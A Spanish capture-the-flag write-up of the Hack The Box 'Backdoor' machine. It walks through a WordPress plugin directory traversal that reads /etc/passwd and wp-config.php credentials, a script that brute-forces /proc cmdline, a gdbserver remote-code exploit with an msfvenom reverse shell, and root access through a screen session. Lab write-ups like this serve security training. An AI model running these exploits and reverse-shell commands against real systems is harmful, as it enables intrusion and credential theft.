

Backdoor

Primero que todo, empezamos realizando un ping a la máquina, para ver si tenemos traza y además descubrir ante que sistema operativo nos encontramos:

```
root@zephyrus /home/dimegio ping 10.10.11.125
PING 10.10.11.125 (10.10.11.125) 56(84) bytes of data.
64 bytes from 10.10.11.125: icmp_seq=1 ttl=63 time=35.2 ms
64 bytes from 10.10.11.125: icmp_seq=2 ttl=63 time=35.3 ms
^C
--- 10.10.11.125 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 35.206/35.237/35.268/0.031 ms
```

Como podemos observar, la máquina está encendida y se trata de una máquina Linux, por la cercanía de TTL a 64, IP: 10.10.11.125

Enumeración

Puertos abiertos

```
$ nmap --open -p- -sS --min-rate 5000 -Pn -n -vvv 10.10.11.125 -oG allPorts
```

```
root@zephyrus /home/dimegio/Dimegio/Maquinas/HTB/Backdoor nmap --open -p- -sS --min-rate 5000 -Pn -n -vvv 10.10.11.125 -oG allPorts
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 16:20 CET
Initiating SYN Stealth Scan at 16:20
Scanning 10.10.11.125 [65535 ports]
Discovered open port 22/tcp on 10.10.11.125
Discovered open port 80/tcp on 10.10.11.125
Discovered open port 1337/tcp on 10.10.11.125
Completed SYN Stealth Scan at 16:20, 10.36s elapsed (65535 total ports)
Nmap scan report for 10.10.11.125
Host is up, received user-set (0.038s latency).
Scanned at 2024-01-06 16:20:06 CET for 11s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
1337/tcp  open  waste   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.65 seconds
Raw packets sent: 65541 (2.884MB) | Rcvd: 65535 (2.621MB)
```

Puertos abiertos: 22,80,1337

Servicio y versiones

```
$ nmap -sC -sV -p22,80,1337 10.10.11.125 -oN targeted
```

```

root@zephyrus: /home/dimegio/Dimegio/Maquinas/HTB/Backdoor nmap -sC -sV -p22,80,1337 10.10.11.125 -oN targeted
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-06 16:20 CET
Nmap scan report for 10.10.11.125
Host is up (0.033s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|_ 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ .http-generator: WordPress 5.8.1
|_ .http-title: Backdoor &#8211; Real-Life
|_ .http-server-header: Apache/2.4.41 (Ubuntu)
1337/tcp  open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.03 seconds

```

Si accedemos a la página web, vemos como es un Wordpress, además de que emplea la técnica de virtual hosting.

Enumerando los plugins del Wordpress mediante WPScan, no encontramos ninguno interesante:

```
$ wpscan --url http://backdoor.htb --enumerate p --plugins-detection aggressive
```

Sin embargo, si vamos a la ruta `/wp-content/plugins`, veremos el plugin ebook:

backdoor.htb/wp-includes/cr x Index of /wp-content/plugins x Log In < Backdoor — WordPr x +

backdoor.htb/wp-content/plugins/

Index of /wp-content/plugins

Name	Last modified	Size	Description
Parent Directory		-	
ebook-download/	2021-11-10 14:18	-	
hello.php	2019-03-18 17:19	2.5K	

Apache/2.4.41 (Ubuntu) Server at backdoor.htb Port 80

Miramos a ver si encontramos algun exploit:

```

dimegio@zephyrus ~$ searchsploit ebook download

```

Exploit Title	Path
WordPress Plugin eBook Download 1.1 - Directory Traversal	php/webapps/39575.txt

Shellcodes: No Results

Y efectivamente existe un exploit. Ahora bien, si vemos en que se basa, es un directory path traversal para realizar un LFI mediante la siguiente ruta:

```
/wp-content/plugins/ebook-download/filedownload.php?
ebookdownloadurl=../..../wp-config.php
```

Si ingresamos a la página, vemos que nos descarga en efecto, el archivo `wp-config.php`, por lo cual podemos hacer el LFI mediante curl:

```
$ curl -s X GET "http://backdoor.htb/wp-content/plugins/ebook-
download/filedownload.php?
ebookdownloadurl=../..../etc/passwd"
```

```
root@zephyrus /home/d/Di/Maquinas/HTB/Backdoor curl -s X GET "http://backdoor.htb/wp-content/plugins/ebook-down
load/filedownload.php?ebookdownloadurl=../..../etc/passwd"
../..../etc/passwd../..../etc/passwd../..../etc/passwdroot:
x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106:/nonexistent:/usr/sbin/nologin
syslog:x:104:110:/home/syslog:/usr/sbin/nologin
_apt:x:105:65534:/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,:/var/lib/tpm:/bin/false
uidd:x:107:112:/run/uidd:/usr/sbin/nologin
tcpdump:x:108:113:/nonexistent:/usr/sbin/nologin
landscape:x:109:115:/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1:/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534:/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100:/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,:/nonexistent:/bin/false
<script>window.close(</script>
```

Ahora podríamos enumerar el `/wp-config` en búsqueda de credenciales en texto plano:

```
$ curl -s X GET "http://backdoor.htb/wp-content/plugins/ebook-
download/filedownload.php?ebookdownloadurl=../..../wp-config.php" |
bat -l php
```

```

21 // ** MySQL settings - You can get this info from your web host ** //
22 /** The name of the database for WordPress */
23 define( 'DB_NAME', 'wordpress' );
24
25 /** MySQL database username */
26 define( 'DB_USER', 'wordpressuser' );
27
28 /** MySQL database password */
29 define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
30
31 /** MySQL hostname */
32 define( 'DB_HOST', 'localhost' );
33
34 /** Database charset to use in creating database tables. */
35 define( 'DB_CHARSET', 'utf8' );
36
37 /** The database collate type. Don't change this if in doubt. */
38 define( 'DB_COLLATE', '' );

```

```

// ** MySQL settings - You can get this info from your web host **
//
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

```

Ahora Teniendo un LFI, intentamos transformarlo a un RCE, mediante un log poisoning, que en este caso utilizaremos el cmdline, pero para ello, necesitamos saber el número de un proceso que para ello, creamos el siguiente script:

```

#!/usr/bin/python3

from pwn import *
import requests, signal, time, sys, pdb

def def_handler(sig, frame):
    print("\n\n[*] Saliendo \n")
    sys.exit(1)

# Ctrl+C

```

```

signal.signal(signal.SIGINT, def_handler)

main_url = "http://backdoor.htb/wp-content/plugins/ebook-
download/filedownload.php?ebookdownloadurl="

def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("Brute Force Attack")
    p1.status("Starting brute force Attack")
    time.sleep(2)
    for i in range(1,1000):
        p1.status("Trying with PATH /proc/%s/cmdline" %
str(i))

        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("_____")
            _____")
            log.info("PATH: /proc/%s/cmdline" % str(i))
            log.info("Total length: %s" %
len(r.content))

            print(r.content)
            print("_____")
            _____")

if __name__ == '__main__':
    makeRequest()

```

Ejecutado, nos reportará varios procesos:

```

root@zephyrus /home/dimegio/Dimegio/Maquinas/HTB/Backdoor python3 bruteforce.py
[>] Brute Force Attack: Trying with PATH /proc/493/cmdline
-----
[*] PATH: /proc/1/cmdline
[*] Total length: 120
b'/proc/1/cmdline/proc/1/cmdline/proc/1/cmdline/sbin/init\x00auto\x00automatic-ubiquity\x00noprompt\x00<script>>window.close()</script>'
-----
[*] PATH: /proc/485/cmdline
[*] Total length: 112
b'/proc/485/cmdline/proc/485/cmdline/proc/485/cmdline/lib/systemd/systemd-journald\x00<script>>window.close()</script>'
-----

```

Sin embargo, mirando la salida, vemos que el siguiente fragmento:

```

c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done

```

Por lo cual ya sabemos que en el puerto 1337, se trata de un gdbserver y mirando searchsploit, encontramos un exploit:

```
dimegio@zephyrus ~$ searchsploit gdbserver
-----
Exploit Title | Path
-----
GNU gdbserver 9.2 - Remote Command Execution (RCE) | linux/remote/50539.py
-----
Shellcodes: No Results
```

```
root@zephyrus /home/dimegio/Dimegio/Maquinas/HTB/Backdoor$ python3 50539.py
Usage: python3 50539.py <gdbserver-ip:port> <path-to-shellcode>

Example:
- Victim's gdbserver -> 10.10.10.200:1337
- Attacker's listener -> 10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 50539.py 10.10.10.200:1337 rev.bin
```

Por lo cual intentamos aprovecharnos para realizar la ejecución remota de comandos

```
root@zephyrus /home/dimegio/Dimegio/Maquinas/HTB/Backdoor$ python3 50539.py 10.10.11.125:1337 rev.bin
[+] Connected to target. Preparing exploit
[+] Found x64 arch
[+] Sending payload
[*] Pwned!! Check your listener

root@zephyrus /home/dimegio/Dimegio/Maquinas/HTB/Backdoor$

dimegio@zephyrus ~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=4444 PrependFork=true -o rev.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Saved as: rev.bin

dimegio@zephyrus ~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.125] 59528

```

De esta manera llegamos a obtener ejecución remota de comandos

Ahora simplemente aplicamos un tratamiento de la TTY

```
$ script /dev/null -c bash
$ Z^
$ stty raw -echo; fg
reset xterm
```

```
$ export TERM=xterm
$ export SHELL=bash
$ stty rows 60 columns 227
```

Escalada de privilegios

Ahora mirando los procesos, vemos que se ejecuta `screen`,

```
$ ps -faux | grep screen
```

```
user@Backdoor:/home/user$ ps -faux | grep screen
root      854  0.0  0.0  2608 1760 ?        Ss   11:50   0:09      \_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
user     73518  0.0  0.0   3304   732 pts/1    S+   20:01   0:00      \_ grep --color=auto screen
user@Backdoor:/home/user$
```

Es decir la siguiente línea de código:

```
\_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -
empty -exec screen -dmS root \;; done
```

Además, hemos visto que de `screen` es un `suid`, por lo que simplemente nos intentamos conectar a la sesión:

```
$ screen -x root/
```

Finalmente llegamos a obtener la flag del root:

```
root@Backdoor:~# whoami
root
root@Backdoor:~# cat /root/root.txt
97f987fff400557f5e9a5f214dd19e90
root@Backdoor:~#
```